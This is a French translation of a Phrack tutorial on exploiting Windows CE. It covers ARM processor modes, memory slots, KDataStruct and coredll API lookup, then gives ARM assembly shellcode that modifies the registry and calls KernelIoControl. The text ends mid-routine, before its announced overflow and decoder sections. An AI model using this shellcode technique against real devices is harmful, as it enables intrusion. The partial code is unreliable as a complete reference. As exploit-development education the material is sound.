Hacking Windows CE

                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3f, Phile #0x06 of 0x14

|=----------------------------------------------------------------------=|
|=----------------------=[ Hacking Windows CE ]=------------------------=|
|=----------------------------------------------------------------------=|
|=----------------------=[ san <san@xfocus.org> ]=----------------------=|
|=--------------=[ traduit par Aryliin pour arsouyes.org ]=-------------=|

--[ Sommaire

    1 - Résumé

    2 - Vue d'ensemble de Windows CE

    3 - Architecture ARM

    4 - Gestion mémoire de Windows CE

    5 - Processus et threads de Windows CE

    6 - API de la technologie de recherche d'adresses de Windows CE

    7 - Shellcode pour Windows CE

    8 - Appels systèmes

    9 - Exploitation d'un buffer overflow sur windows CE

   10 - Shellcode de décodage

   11 - Conclusion

   12 - Remerciements

   13 - References

--[ 1 - Résumé

Les caracteristiques réseau des PDA et portables deviennent de plus en
plus puissantes, et les problemes de sécurité s'y rapportant attirent
de plus en plus d'attention. Ce papier va montrer un exemple d'explotation
de buffer overflow sur Windows CE. Il fournira des connaissances a propos 
de l'architecture ARM, la gestion mémoire, et les caractéristiques des 
processus et threads de Windows CE. Il montrera également comment écrire
un shellcode pour Windows CE, en incluant les connaissances pour décoder 
un shellcode pour Windows CE avec un processeur ARM.

--[ 2 - Vue d'ensemble de Windows CE

Windows CE est un systeme d'explotation embarqué pour PDA et portables
très populaire. Comme son nom l'indique, il est développé par Microsoft.
Grâce à la similarité des API, les développeurs de Windows peuvent développer
facilement des applications pour Windows CE. C'est peut être la raison la 
plus importante qui fait que Windows CE est populaire. Windows CE 5.0 est la
dernière version, mais Windows CE.net(4.2) est la version la plus utilisée,
et cet article est basé sur Windows CE.net.

Pour des raisons marketing, Windows Mobile Software pour Pocket PC et
le Smartphone sont considérés comme des produits indépendants, mais ils
sont basé sur le noyau de Windows CE.

Par défaut, Windows CE est de type little-endian et support plusieurs 
processeurs.

--[ 3 - Architecture ARM

Le processeur ARM est la puce la plus populaire dans les PDA et les portables,
quasiment tous les appareils embarqués utilisent un CPU ARM. Les processeurs
ARM sont des processeurs RISC qui implementent une architecture de 
Chargement/Rangement. Seule les instructions load et store peuvent acceder 
à la mémoire. Les instructions de traitement des données ne peuvent être 
utilisées que sur des registres.

Ils y a 6 versions majeures de l'architecture ARM. Elles sont notées par des 
numéros de version de 1 à 6.

Les processeurs ARM supportent sept modes de processeurs, dépendant de la 
version de l'architecture. Ces modes sont : User (Utilisateur),
Fiq-Fast Interrupt Request(mode interruption rapide ou de petits processus
fonctionnent),IRQ-Interrupt Request(mode interruption dans lequel des 
processus de controle fonctionnent), Supervisor (superviseur),
Abort (où sont traitées les erreurs d'adresse), Undefined (instructions
indéfinies) et System. Le mode System a besoin d'une architecture ARM v4
ou plus. Tous les modes sauf le mode User sont des modes privilégiés. 
Les applications peuvent s'executer uniquement sous le mode User, mais sur
les pocket PC toutes les applications semblent tourner en mode noyau, et
nous allons en parler plus tard.

Les processeurs ARM ont 37 registes. Les registres sont disposés en bancs
supperposés. Il y a un banc de registres par mode du processeur. Les 
registres dans des bancs permettent la commutation rapide du contexte pour
traiter les exceptions du processeur et des opérations privilégiées.

Dans l'architecture ARM v3 et après, il y a 30 registres de 32 bites 
d'usage général, le compteur programme (pc), le "current program status 
register"(CPSR - registre dédié à l'état courant du microprocesseur), et 
cinq "Saved Program Status Registers" (SPSRs - dédiés à la sauvegarde de
l'état du microprocesseur). 15 registes d'usage général sont visibles à
la fois, dépendant du mode de processeur courant. Les registres d'usage 
général visibles sont notés de r0 à r14.

Par convention, r13 est utilisé pour le pointeur de pile (SP) dans le 
langage assembleur ARM. Les compilateurs C et C++ utilisent toujours le 
registre r13 comme pointeur de pile.

En mode User et Systeme, r14 est utilisé comme registre de lien (lr) pour 
sauvegarder l'adresse de retour lorsqu'un appel a une sous routine est fait.
Il peut également être utilisé comme registre d'usage général si l'adresse
de retour est sauvegardée dans la pile.

Le pointeur de programme est accessible dans r15 (pc). Il est incrémenté de
quatre octets pour chaque instruction faite en état ARM, et de deux octets
pour celles faites en état Thumn. Les instructions de branchement 
chargent leur adresse de destination dans le registre pc.

Vous pouvez charger directement le registre pc en utilisant une instruction
de traitement de données. Cette caractéristique est différente des autres 
processeurs et utile lorsque l'on écrit des shellcodes.

--[ 4 - La gestion mémoire de Windows CE

Comprendre la gestion mémoire est très important pour faire un exploit de type
buffer overflow. La gestion mémoire de Windows CE est très différente des
autres systèmes d'exploitation, même des autres systèmes Windows.

Windows CE utilise la ROM (read only memory) et la RAM (random access memory).

Le système d'exploitation se trouve entierement en ROM, ainsi que les 
applications livrées avec le système. Dans ce sens, la ROM dans Windows CE
est comme un petit disque dur en lecture seule. Les données dans la ROM 
peuvent être maintenue sans l'energie d'une pile. Les fichiers DLL basés sur
la ROM peuvent être désignés et executés sur place. XIP est la nouvelle
caractéristque de Windows CE.net. C'est le fait qu'elles soient executées 
directement de la ROM au lieu de devoir être chargées en RAM, puis executées.
C'est un gros avantage pour un système embarqué. Le code de la DLL ne prend pas
la place de programmes en RAM et n'a pas a être recopié en RAM avant d'être 
executé. Les fichiers DLL qui ne sont pas en ROM mais sont contenus dans un
objet stocké en carte de mémoire Flash ne sont pas executés sur place; ils
sont copiés en RAM puis executés.

La RAM dans le système Windows CE est divisé en deux parties : La mémoire 
des programmes et le stockage d'objets.

Le stockage d'objets peut être considéré comme de la RAM virtuelle et
permanente. Au contraire de la RAM sur les PC, le stockage d'objets 
maintient les fichiers stockés meme si le système est éteint. C'est la raison
pour laquelle les périphériques Windows CE ont une pile principale et une pile
de sauvegarde. Elles fournissent de l'energie pour que la RAM puisse maintenir
les fichiers dans le stockage d'objets.

Même si l'utilisateur appuie sur le bouton reset, le noyau de Windows CE 
commence par chercher une précédante version du stockage d'objet en RAM et 
l'utilise si il en trouve une.

Une autre zone de cette RAM est utilisée pour le mémoire des programmes. La 
mémoire des programmes est utilisée comme la RAM des ordinateurs personnels.
Elle charge les tas et les piles des applications lancées. La frontière entre
le stockage d'objets et la RAM des programmes est ajustable. L'utilisateur peut
changer la frontière entre le stockage d'objets et la RAM des programmes en 
utilisant la mini-application du Panneau de Contrôle Système.

Windows CE est un système d'exploitation 32-bits, il supporte donc 4GB d'espace
d'adressage virtuel. Sa disposition est la suivante :


+----------------------------------------+ 0xFFFFFFFF
|   |   |  Adresse vituelles du Noyau:   |
|   | 2 |  KPAGE zone de deroutement,    |
|   | G |  KDataStruct, etc              |
|   | B |  ...                           |
|   |   |--------------------------------+ 0xF0000000
| 4 | K |  Mapping des adresse vituelles |
| G | E |  statiques                     |
| B | R |  ...                           |
|   | N |--------------------------------+ 0xC4000000
| V | E |  NK.EXE                        |
| I | L |--------------------------------+ 0xC2000000
| R |   |  ...                           |
| T |   |  ...                           |
| U |---|--------------------------------+ 0x80000000
| A |   |  Fichiers mappés en mémoire    |
| L | 2 |  ...                           |
|   | G |--------------------------------+ 0x42000000
| A | B |  emplacement 32 Processus 32   |
| D |   |--------------------------------+ 0x40000000
| D | U |  ...                           |
| R | S |--------------------------------+ 0x08000000
| E | E |  emplacement 3  DEVICE.EXE     |
| S | R |--------------------------------+ 0x06000000
| S |   |  emplacement 2  FILESYS.EXE    |
|   |   |--------------------------------+ 0x04000000
|   |   |  emplacement 1  XIP DLLs       |
|   |   |--------------------------------+ 0x02000000
|   |   |  emplacement 0 Processus cournt|
+---+---+--------------------------------+ 0x00000000

L'espace de 2GB du haut est l'espace noyau, utilisé par le système pour
ses propres données. Et l'espace de 2GB du bas est l'espace utilisateur.
De 0x42000000 jusqu'a 0x80000000, la mémoire est utilisée pour les 
grosses allocations mémoire, comme le mappage mémoire des fichiers, le stockage
d'objet est également ici. De 0 à 0x42000000, la mémoire est divisée en 33
emplacements, de 32MB chacun.

L'emplacement 0 est très important; c'est pour le processus courant. La 
disposition de l'adressage virtuel est la suivante :

+---+------------------------------------+ 0x02000000
|   |   DLL Allocation mémoire virtuelle |
| S |   +--------------------------------|
| L |   |  ROM DLLs:R/W Data             |
| O |   |--------------------------------|
| T |   |  RAM DLL+OverFlow ROM DLL:     |
| 0 |   |  Code+Data                     |
|   |   +--------------------------------|
| C +------+-----------------------------|
| U        |                  A          |
| R        V                  |          |
| R +-------------------------+----------|
| E |Allocation mémoire virtuelle général|
| N |   +--------------------------------|
| T |   | appels Processus VirtualAlloc()|
|   |   |--------------------------------|
| P |   |       Pile du thread           |
| R |   |--------------------------------|
| O |   |       Tas du thread            |
| C |   |--------------------------------|
| E |   |       Pile du thread           |
| S |---+--------------------------------|
| S |      Code et données du procesus   |
|   |------------------------------------+ 0x00010000
|   |  Section(64K)de garde+UserKInfo    |
+---+------------------------------------+ 0x00000000


Les premiers 64kb sont reservés à l'OS. Le code du processus et les données 
sont mappés à partir de 0x00010000, suivent les piles et les tas. Les DLL
sont chargées dans les adresse hautes. Une des caractéristiques de 
Windows CE.net est l'extension de l'espace d'adressage virtuel d'une 
application de 32MB, dans les premières versions de Windows CE, à 64MB, du au
fait que l'emplacement 1 est utilisé comme XIP.


--[ 5 - Processus et threads de Windows CE

Les processus sont traités différement par Windows CE que par les autres
systèmes Windows. Windows CE limite à 32 le nombre de processus pouvant tourner
à la fois. Lorsque le système démarre, il y a au moins quatre processus de 
crées: NK.EXE, qui fournit les services noyau, il est toujours dans 
l'emplacement 97; FILESYS.EXE, qui fournit les services du système de fichiers,
il est toujours dans l'emplacement 2; DEVICE.EXE, qui charge et maintient les
drivers des périphériques pour le système, il se trouve normalement à
l'emplacement 3; et GWES.EXE, qui fournit le support GUI, il est normalement
à l'emplacement 4. Les autres processus sont aussi démarrés, comme 
EXPLORER.EXE.

L'interpréteur de commandes est un processus interessant car il n'est pas 
en ROM. SHELL.EXE est CESH pour Windows CE, le moniteur basé sur les lignes
de commande. Le seul moyen de le charger est de connecter le système à la 
station de déboggage, ainsi le fichier peut être automatiquement téléchargé
du PC. Lorsque vous utilisez 'Plateform Builder' pour debogguer le système 
Windows CE, SHELL.EXE est automatiquement chargé dans l'emplacement après
FILESYS.EXE.

Les Threads sous Windows CE sont similaires aux threads sous les autres
systèmes Windows. Chaque processus a au moins un thread primaire qui lui est
associé a son démarrage, meme si il n'en crée pas un explicitement. Et un 
processus peut créer autant de threads additionnels qu'il en a besoin, dans
la limite de la mémoire disponible.

Chaque thread appartient a un processus particulier et partage le même espace
mémoire. Mais SetProcPermissions(-1) donne le thread courant accédant à 
n'importe quel processus. Chaque thread a un ID, une pile privée et un jeu de
registres. La taille de la pile de tous les threads crées par le processus
est donnée par le gestionnaire de liens lorsque l'application est compilée.

Les IDs des processus et des threads dans Windows CE sont les descripteurs 
correspondants aux processus et aux threads. C'est amusant, mais c'est utile
lorsque l'on programmme.

Lorsqu'un processus est chargé, le système va lui assigner le prochain
emplacement libre. Les DLLs sont chargées dans l'emplacement, puis la pile
et le tas du processus par défaut. Après tout ça, il est executé.

Lorsque le thread d'un processus est planifié, le système va recopier son
emplacement dans l'emplacement 0. Ce n'est pas une vraie recopie; il semblerait
qu'il soit juste mappé dans l'emplacement 0. Si le processus devient inactif, 
il est remappé dans l'emplacement original alloué à celui-çi. Le noyau, le 
système de fichiers et le système de cades tournent à partir de leurs propres 
emplacements.

Les processus allouent une pile pour chaque thread, la taille par défaut est
64KB, dépendant du paramètre de lien lorsque le programme est compilé. Les 2KB
du haut sont utilisés pour prévenir des dépassements de tampons dans la pile,
nous ne pouvons pas détruire cette endroit de la mémoire, sinon le système se 
gelera. Le reste est utilisable.

Les varibles déclarées dans des fonctions sont allouées dans la pile. La pile
d'un thread est libérée quand celui-ci se termine.


--[ 6 - API de la technologie de recherche d'adresses de Windows CE

Nous devons avoir un shellcode capable de tourner sous Windows CE avant de 
pouvoir faire un exploit. Windows CE est implémenté de manière compatible 
à Win32. Coredll donne les points d'entrée pour la plupart des API supportées
par Windows CE. Il est donc chargé par chaque processus. Coredll.dll est 
comme kernel32.dll et ntdll.dll des autres systèmes Win32. Nous devons chercher
Les adresses des API nécessaires à partir de coredll.dll puis les utiliser pour 
implémenter notre shellcode. La méthode traditionnelle pour implémenter un 
shellcode sous les autres systèmes Win32 est de situer l'adresse de base de 
kernel32.dll par une structure PEB, puis de chercher les adresses des API
grâce au header PE.

Premièrement, nous devons localiser l'adresse de base de coredll.dll. Y a-t'il
une structure comme PEC sous Windows CE ? La réponse est oui. KDataStruct est 
une structure importante du noyau qui peut être accedée en mode utilisateur
en utilisant l'adresse fixée PUserKData, et qui contient les données 
importantes du système, comme la liste des modules, le tas du noyau, et 
la table des pointeurs de l'API (SystemAPISets).

La structure KDataStruc est définie dans nkarm.h:

// WINCE420\PRIVATE\WINCEOS\COREOS\NK\INC\nkarm.h
struct KDataStruct {
    LPDWORD lpvTls;         /* 0x000 Current thread local storage pointer */
    HANDLE  ahSys[NUM_SYS_HANDLES]; /* 0x004 If this moves, change kapi.h */
    char    bResched;       /* 0x084 reschedule flag */
    char    cNest;          /* 0x085 kernel exception nesting */
    char    bPowerOff;      /* 0x086 TRUE during "power off" processing */
    char    bProfileOn;     /* 0x087 TRUE if profiling enabled */
    ulong   unused;         /* 0x088 unused */
    ulong   rsvd2;          /* 0x08c was DiffMSec */
    PPROCESS pCurPrc;       /* 0x090 ptr to current PROCESS struct */
    PTHREAD pCurThd;        /* 0x094 ptr to current THREAD struct */
    DWORD   dwKCRes;        /* 0x098  */
    ulong   handleBase;     /* 0x09c handle table base address */
    PSECTION aSections[64]; /* 0x0a0 section table for virutal memory */
    LPEVENT alpeIntrEvents[SYSINTR_MAX_DEVICES];/* 0x1a0 */
    LPVOID  alpvIntrData[SYSINTR_MAX_DEVICES];  /* 0x220 */
    ulong   pAPIReturn;     /* 0x2a0 direct API return address for kernel mode */
    uchar   *pMap;          /* 0x2a4 ptr to MemoryMap array */
    DWORD   dwInDebugger;   /* 0x2a8 !0 when in debugger */
    PTHREAD pCurFPUOwner;   /* 0x2ac current FPU owner */
    PPROCESS pCpuASIDPrc;   /* 0x2b0 current ASID proc */
    long    nMemForPT;      /* 0x2b4 - Memory used for PageTables */

    long    alPad[18];      /* 0x2b8 - padding */
    DWORD   aInfo[32];      /* 0x300 - misc. kernel info */
    // WINCE420\PUBLIC\COMMON\OAK\INC\pkfuncs.h
        #define KINX_PROCARRAY  0   /* 0x300 address of process array */
        #define KINX_PAGESIZE   1   /* 0x304 system page size */
        #define KINX_PFN_SHIFT  2   /* 0x308 shift for page # in PTE */
        #define KINX_PFN_MASK   3   /* 0x30c mask for page # in PTE */
        #define KINX_PAGEFREE   4   /* 0x310 # of free physical pages */
        #define KINX_SYSPAGES   5   /* 0x314 # of pages used by kernel */
        #define KINX_KHEAP      6   /* 0x318 ptr to kernel heap array */
        #define KINX_SECTIONS   7   /* 0x31c ptr to SectionTable array */
        #define KINX_MEMINFO    8   /* 0x320 ptr to system MemoryInfo struct */
        #define KINX_MODULES    9   /* 0x324 ptr to module list */
        #define KINX_DLL_LOW   10   /* 0x328 lower bound of DLL shared space */
        #define KINX_NUMPAGES  11   /* 0x32c total # of RAM pages */
        #define KINX_PTOC      12   /* 0x330 ptr to ROM table of contents */
        #define KINX_KDATA_ADDR 13  /* 0x334 kernel mode version of KData */
        #define KINX_GWESHEAPINFO 14 /* 0x338 Current amount of gwes heap in use */
        #define KINX_TIMEZONEBIAS 15 /* 0x33c Fast timezone bias info */
        #define KINX_PENDEVENTS 16  /* 0x340 bit mask for pending interrupt events */
        #define KINX_KERNRESERVE 17 /* 0x344 number of kernel reserved pages */
        #define KINX_API_MASK 18    /* 0x348 bit mask for registered api sets */
        #define KINX_NLS_CP 19      /* 0x34c hiword OEM code page, loword ANSI code page */
        #define KINX_NLS_SYSLOC 20  /* 0x350 Default System locale */
        #define KINX_NLS_USERLOC 21 /* 0x354 Default User locale */
        #define KINX_HEAP_WASTE 22  /* 0x358 Kernel heap wasted space */
        #define KINX_DEBUGGER 23    /* 0x35c For use by debugger for protocol communication */
        #define KINX_APISETS 24     /* 0x360 APIset pointers */
        #define KINX_MINPAGEFREE 25 /* 0x364 water mark of the minimum number of free pages */
        #define KINX_CELOGSTATUS 26 /* 0x368 CeLog status flags */
        #define KINX_NKSECTION  27  /* 0x36c Address of NKSection */
        #define KINX_PWR_EVTS   28  /* 0x370 Events to be set after power on */

        #define KINX_NKSIG     31   /* 0x37c last entry of KINFO -- signature when NK is ready */
        #define NKSIG          0x4E4B5347       /* signature "NKSG" */
                            /* 0x380 - interlocked api code */
                            /* 0x400 - end */
};  /* KDataStruct */

/* Schéma de la mémoire haute
 *
 * Cette stucture est mappé à la fin des 4GB  de l'espace d'adressage virtuel
 *
 *  0xFFFD0000 - Table des pages de premier niveau (uncached) (la seconde motiée est en lecture seule)
 *  0xFFFD4000 - désactivé pour protection
 *  0xFFFE0000 - Table des pages de second niveau (uncached)
 *  0xFFFE4000 - désactivé pour protection
 *  0xFFFF0000 - vecteurs d'exceptions
 *  0xFFFF0400 - non utilisés (lecture seule)
 *  0xFFFF1000 - désactivé pour protection
 *  0xFFFF2000 - lecture seule (chevauchements physiques avec vecteurs)
 *  0xFFFF2400 - Pile d'interruption (1k)
 *  0xFFFF2800 - lecture seule (chevauchements physiques avec pile d'arrêt et de FIQ)
 *  0xFFFF3000 - désactivé pour protection
 *  0xFFFF4000 - lecture seule(chevauchements physiques avec vecteurs & pile d'interruption & pile FIQ )
 *  0xFFFF4900 - pile d'arrêt(2k - 256 bytes)
 *  0xFFFF5000 - désactivé pour protection
 *  0xFFFF6000 - lecture seule (chevauchements physiques avec vecteurs & pile d'interruption )
 *  0xFFFF6800 - pile de FIQ (256 bytes)
 *  0xFFFF6900 - lecture seule (chevauchements physiques avec pile d'arrêt)
 *  0xFFFF7000 - désactivé
 *  0xFFFFC000 - pile du noyau
 *  0xFFFFC800 - KDataStruct
 *  0xFFFFCC00 - désactivé pour protection (table des pages de second niveau pour 0xFFF00000)
 */

La valeur de PUserKData est fixée à 0xFFFFC800 sur un processeur ARM, et
0x00005800 sur les autres CPUs. Le dernier membre de KDataStruct est aInfo.
Il est à l'offset 0x300 à partir de l'adresse de début de la structure
KDataStruct. Le membre aInfo est un tableau de DWORD, c'est un pointeur
sur la liste des modules dans l'indexe 9(KINX_MODULES), et il est définit
dans pkfuncs.h. Les offsets de 0x324 à 0xFFFFC800 sont le pointeur sur 
la liste des modules.

Bien, regardons la structure d'un module. J'ai marqué l'offset de la structure
comme ci dessous:

// WINCE420\PRIVATE\WINCEOS\COREOS\NK\INC\kernel.h
typedef struct Module {
    LPVOID      lpSelf;                 /* 0x00 pointeur sur soi pour validation */
    PMODULE     pMod;                   /* 0x04 Prochain module dans la chaîne */
    LPWSTR      lpszModName;            /* 0x08 Nom du module */
    DWORD       inuse;                  /* 0x0c Vector de bit d'utilisation */
    DWORD       calledfunc;             /* 0x10 Entrées appelées mais non ressorties */
    WORD        refcnt[MAX_PROCESSES];  /* 0x14 Pointeur de référence par processus*/
    LPVOID      BasePtr;                /* 0x54 Pointeur de base du chargement des dll (non basé sur 0) */
    DWORD       DbgFlags;               /* 0x58 Flags de déboggage */
    LPDBGPARAM  ZonePtr;                /* 0x5c Pointeur de zone de déboggage */
    ulong       startip;                /* 0x60 Point d'entrée basé sur 0 */
    openexe_t   oe;                     /* 0x64 Pointeur sur le descripteur de fichier executable */
    e32_lite    e32;                    /* 0x74 E32 header */
    // WINCE420\PUBLIC\COMMON\OAK\INC\pehdr.h
      typedef struct e32_lite {           /* PE 32-bit .EXE header                     */
          unsigned short  e32_objcnt;     /* 0x74 Nombre d'objets mémoire              */
          BYTE            e32_cevermajor; /* 0x76 version de CE                        */
          BYTE            e32_ceverminor; /* 0x77 version de CE                        */
          unsigned long   e32_stackmax;   /* 0x78 Taille maximum de pile               */
          unsigned long   e32_vbase;      /* 0x7c Adresse virtuelle de base d'un module*/
          unsigned long   e32_vsize;      /* 0x80 Taille virtuelle des images entières */
          unsigned long e32_sect14rva;    /* 0x84 section 14 rva                       */
          unsigned long e32_sect14size;   /* 0x88 taille de la section 14              */
          struct info e32_unit[LITE_EXTRA]; /* 0x8c  Tableau d'informations supplémentaires     */
            // WINCE420\PUBLIC\COMMON\OAK\INC\pehdr.h
            struct info {                       /* Block de tête d'informations supplémentaires */
                unsigned long   rva;            /* Adresse relative virtuelle d'infortmation    */
                unsigned long   size;           /* Taille d'un bloc d'information               */
            }
            // WINCE420\PUBLIC\COMMON\OAK\INC\pehdr.h
            #define EXP             0           /* 0x8c position de la table Export    */
            #define IMP             1           /* 0x94 position de la table Import    */
            #define RES             2           /* 0x9c position de la table Resource  */
            #define EXC             3           /* 0xa4 position de la table Exception */
            #define SEC             4           /* 0xac position de la table Security  */
            #define FIX             5           /* 0xb4 position de la table Fixup     */

            #define LITE_EXTRA      6           /* Seulement 6 sont utilisés par NK */  
      } e32_lite, *LPe32_list;
    o32_lite    *o32_ptr;               /* 0xbc  O32 pointeur de chaîne */
    DWORD       dwNoNotify;             /* 0xc0  1 bit par processus, à mettre si les notifications ne sont pas permises */
    WORD        wFlags;                 /* 0xc4 */
    BYTE        bTrustLevel;            /* 0xc6 */
    BYTE        bPadding;               /* 0xc7 */
    PMODULE     pmodResource;           /* 0xc8 module contenant les ressources */
    DWORD       rwLow;                  /* 0xcc adresse de base de la section lecture/écriture de la DLL ROM */
    DWORD       rwHigh;                 /* 0xd0 adresses hautes de la section lecture/écriture de la DLL ROM */
    PGPOOL_Q    pgqueue;                /* 0xcc liste des pages appartenant au module */
} Module;


La structure module est définie dans kernel.h. Le troisième membre de la 
structure Module est lpszModName, qui est le pointeur du nom du module et
son offset est 0x08 à partir du début de la structure Module. Le nom du Module
est une chaîne unicode. Le second membre de la structure Module est pMod, c'est
un pointeur sur l'adresse du prochain module dans la chaîne. Nous pouvons ainsi
situer le module coredll en comparant la chaîne unicode de son nom.

A l'offset 0x74 à partir du début de la structure Module se trouve le membre
e32 et c'est une structure e32_lite. Regardons donc cette structure e32_lite,
qui est définie dans pehdr.h. Dans la structure e32_lite, le membre e32_vbase
peut nous dire l'adresse virtuelle de base du module. Elle est a l'offset 0x7c
à partir du début de la structure. Nous pouvons aussi remarquer le membre 
e32_unit[LITE_EXTRA], c'est une tableau d'information de la structure. 
LITE_EXTRA est définit à 6 , au début de pehdr.h, seuls les 6 premiers sont 
utilisés par NK et le premier est la table des positions exportée. Donc à
l'offset 0x8C à partir du début de la structure Module, nous trouvons l'adresse
virtuelle relative de la position de la table des exports du module.

Maintenant, nous avons l'adresse vituelle de base de coredll.dll et l'adresse
virtuelle relative de la postition de sa table d'exportation.

J'ai écrit un petit programme pour lister tous les modules du système :

; SetProcessorMode.s

    AREA    |.text|, CODE, ARM

    EXPORT    |SetProcessorMode|   
|SetProcessorMode| PROC
    mov     r1, lr     ; les différents modes utilisent des lr différents - à sauvegarder
    msr     cpsr_c, r0 ; met les bits de control de CPSR
    mov     pc, r1     ; retour

    END

// list.cpp
/*
...
01F60000 coredll.dll
*/

#include "stdafx.h"

extern "C" void __stdcall SetProcessorMode(DWORD pMode);

int WINAPI WinMain( HINSTANCE hInstance,
                    HINSTANCE hPrevInstance,
                    LPTSTR    lpCmdLine,
                    int       nCmdShow)
{
    FILE *fp;
    unsigned int KDataStruct = 0xFFFFC800;
    void *Modules     = NULL,
         *BaseAddress = NULL,
         *DllName     = NULL;
    
	// Passe en mode User
	//SetProcessorMode(0x10);

    if ( (fp = fopen("\\modules.txt", "w")) == NULL )
    {
        return 1;
    }

    // aInfo[KINX_MODULES]
    Modules = *( ( void ** )(KDataStruct + 0x324));

    while (Modules) {
        BaseAddress = *( ( void ** )( ( unsigned char * )Modules + 0x7c ) );
        DllName     = *( ( void ** )( ( unsigned char * )Modules + 0x8 ) );

        fprintf(fp, "%08X %ls\n", BaseAddress, DllName);

        Modules = *( ( void ** )( ( unsigned char * )Modules + 0x4 ) );
    }

    fclose(fp);
    return(EXIT_SUCCESS);
}

Dans mon environnement, la structure Module est 0x8F453128 qui est dans 
l'espace noyau. La plupart des ROMs de Pocket PC sont construites avec une 
option qui permet le mode entierement en mode Noyau, donc les applications
semblent tourner en mode noyau. Les premiers 5 bits du registre Pst sont 0x1F
lors du déboggage, ce qui signifie que le processeur ARM tourne en mode 
système. Cette valeur est définie dans nkarm.h:

// modes du processeur ARM
#define USER_MODE   0x10    // 0b10000
#define FIQ_MODE    0x11    // 0b10001
#define IRQ_MODE    0x12    // 0b10010
#define SVC_MODE    0x13    // 0b10011
#define ABORT_MODE  0x17    // 0b10111
#define UNDEF_MODE  0x1b    // 0b11011
#define SYSTEM_MODE 0x1f    // 0b11111

J'ai écrit une petite fonction en assembleur qui change le mode du processeur
parce que EVC ne supporte pas l'inclusion d'assembleur. Le programme ne prendra
pas la valeur de BaseAdress et DllName quand j'aurais passé le processeur en 
mode User. Cela soulève une exception de violation d'accès.

J'utilise ce programme pour récupèrer l'adresse virtuelle de base de 
coredll.dll qui est 0x01F60000 sans changer de mode de processeur. Mais cette
adresse est unvalide si j'utilise EVC debugger pour regarder à l'interieur
et les données valides démarrent de 0x01f61000. Je pense que Windows CE a peut
être pour but de sauvegarder l'espace mémoire ou le temps, donc il ne charge 
pas le header des fichiers dll. 

Comme nous avons l'adresse vituelle de base de coredll.dll et l'adresse 
relative virtuelle de position de la table d'export, nous pouvons alors répéter
la comparaison du nom de l'API par la structure IMAGE_EXPORT_DIRECTORY, 
nous pouvons récupérer l'adresse de l'API. La structure IMAGE_EXPORT_DIRECTORY 
est comme dans les autres systèmes Win32, elle est définie dans winnt.h:

// WINCE420\PUBLIC\COMMON\SDK\INC\winnt.h
typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;        /* 0x00 */
    DWORD   TimeDateStamp;          /* 0x04 */
    WORD    MajorVersion;           /* 0x08 */
    WORD    MinorVersion;           /* 0x0a */
    DWORD   Name;                   /* 0x0c */
    DWORD   Base;                   /* 0x10 */
    DWORD   NumberOfFunctions;      /* 0x14 */
    DWORD   NumberOfNames;          /* 0x18 */
    DWORD   AddressOfFunctions;     // 0x1c RVA from base of image
    DWORD   AddressOfNames;         // 0x20 RVA from base of image
    DWORD   AddressOfNameOrdinals;  // 0x24 RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;


--[ 7 - Le Shellcode pour Windows CE

Il y a quelque chose a remarquer avant d'écrire une shellcode pour Windows CE.
Windows CE utilise r0-r3 comme les quatre premiers paramètes de l'API, si les
paramètres de l'API sont plus que quatre, Windows CE va alors utiliser la pile
pour ranger les autres paramètres. Il faut donc faire attention en écrivant le
shellcode, parce que le shellcode va se retrouver dans la pile. Le fichier 
test.asm est notre shellcode:

; Idée de WinCE4.Dust écrit par Ratter/29A
;
; Recherche de l'adresse de l'API
; san@xfocus.org
;
; armasm test.asm
; link /MACHINE:ARM /SUBSYSTEM:WINDOWSCE test.obj  
  
    CODE32

    EXPORT  WinMainCRTStartup

    AREA    .text, CODE, ARM

test_start

; r11 - base pointer
test_code_start   PROC
    bl      get_export_section

    mov     r2, #4          ; nombre de fonctions 
    bl      find_func

    sub     sp, sp, #0x89, 30 ; bizarre après un buffer overflow

    add     r0, sp, #8
    str     r0, [sp]
    mov     r3, #2
    mov     r2, #0
    adr     r1, key
    mov     r0, #0xA, 2
    mov     lr, pc
    ldr     pc, [r8, #-12] ; RegOpenKeyExW

    mov     r0, #1
    str     r0, [sp, #0xC]
    mov     r3, #4
    str     r3, [sp, #4]
    add     r1, sp, #0xC
    str     r1, [sp]
    ;mov     r2, #0
    adr     r1, val
    ldr     r0, [sp, #8]
    mov     lr, pc
    ldr     pc, [r8, #-8]  ; RegSetValueExW

    ldr     r0, [sp, #8]
    mov     lr, pc
    ldr     pc, [r8, #-4]  ; RegCloseKey

    adr     r0, sf
    ldr     r0, [r0]
    ;ldr     r0, =0x0101003c
    mov     r1, #0
    mov     r2, #0
    mov     r3, #0
    mov     lr, pc
    ldr     pc, [r8, #-16] ; KernelIoControl
   
    ; comparaison de base de grande chaînes de caractères
wstrcmp   PROC
wstrcmp_iterate
    ldrh    r2, [r0], #2
    ldrh    r3, [r1], #2

    cmp     r2, #0
    cmpeq   r3, #0
    moveq   pc, lr

    cmp     r2, r3
    beq     wstrcmp_iterate

    mov     pc, lr
    ENDP

; sortie:
;  r0 - coredll base addr
;  r1 - export section addr
get_export_section   PROC
    mov     r11, lr
    adr     r4, kd
    ldr     r4, [r4]
    ;ldr     r4, =0xffffc800     ; KDataStruct
    ldr     r5, =0x324          ; aInfo[KINX_MODULES]

    add     r5, r4, r5
    ldr     r5, [r5]

    ; r5 pointe maintenant sur le premier module

    mov     r6, r5
    mov     r7, #0

iterate
    ldr     r0, [r6, #8]        ; récupèration du nom de la dll
    adr     r1, coredll
    bl      wstrcmp             ; comparaison avec coredll.dll

    ldreq   r7, [r6, #0x7c]     ; récupèration de la base de la dll
    ldreq   r8, [r6, #0x8c]     ; récupèreation de la section export rva

    add     r9, r7, r8
    beq     got_coredllbase     ; est-ce que c'est ce qu'on recherche ?

    ldr     r6, [r6, #4]
    cmp     r6, #0
    cmpne   r6, r5
    bne     iterate             ; non, continuons

got_coredllbase
    mov     r0, r7
    add     r1, r8, r7          ; oui, nous avons trouvé imagebase
                                ; et le pointeur de section d'export

    mov     pc, r11
    ENDP

; r0 - adresse de base de coredll
; r1 - adresse de la section export
; r2 - adresse du nom de la fonction function
find_func   PROC
    adr     r8, fn
find_func_loop
    ldr     r4, [r1, #0x20]     ; AddressOfNames
    add     r4, r4, r0

    mov     r6, #0              ; compteur
   
find_start
    ldr     r7, [r4], #4
    add     r7, r7, r0          ; pointeur de nom de fonction
    ;mov     r8, r2             ; trouver le nom de la fonction

    mov     r10, #0
hash_loop
    ldrb    r9, [r7], #1
    cmp     r9, #0
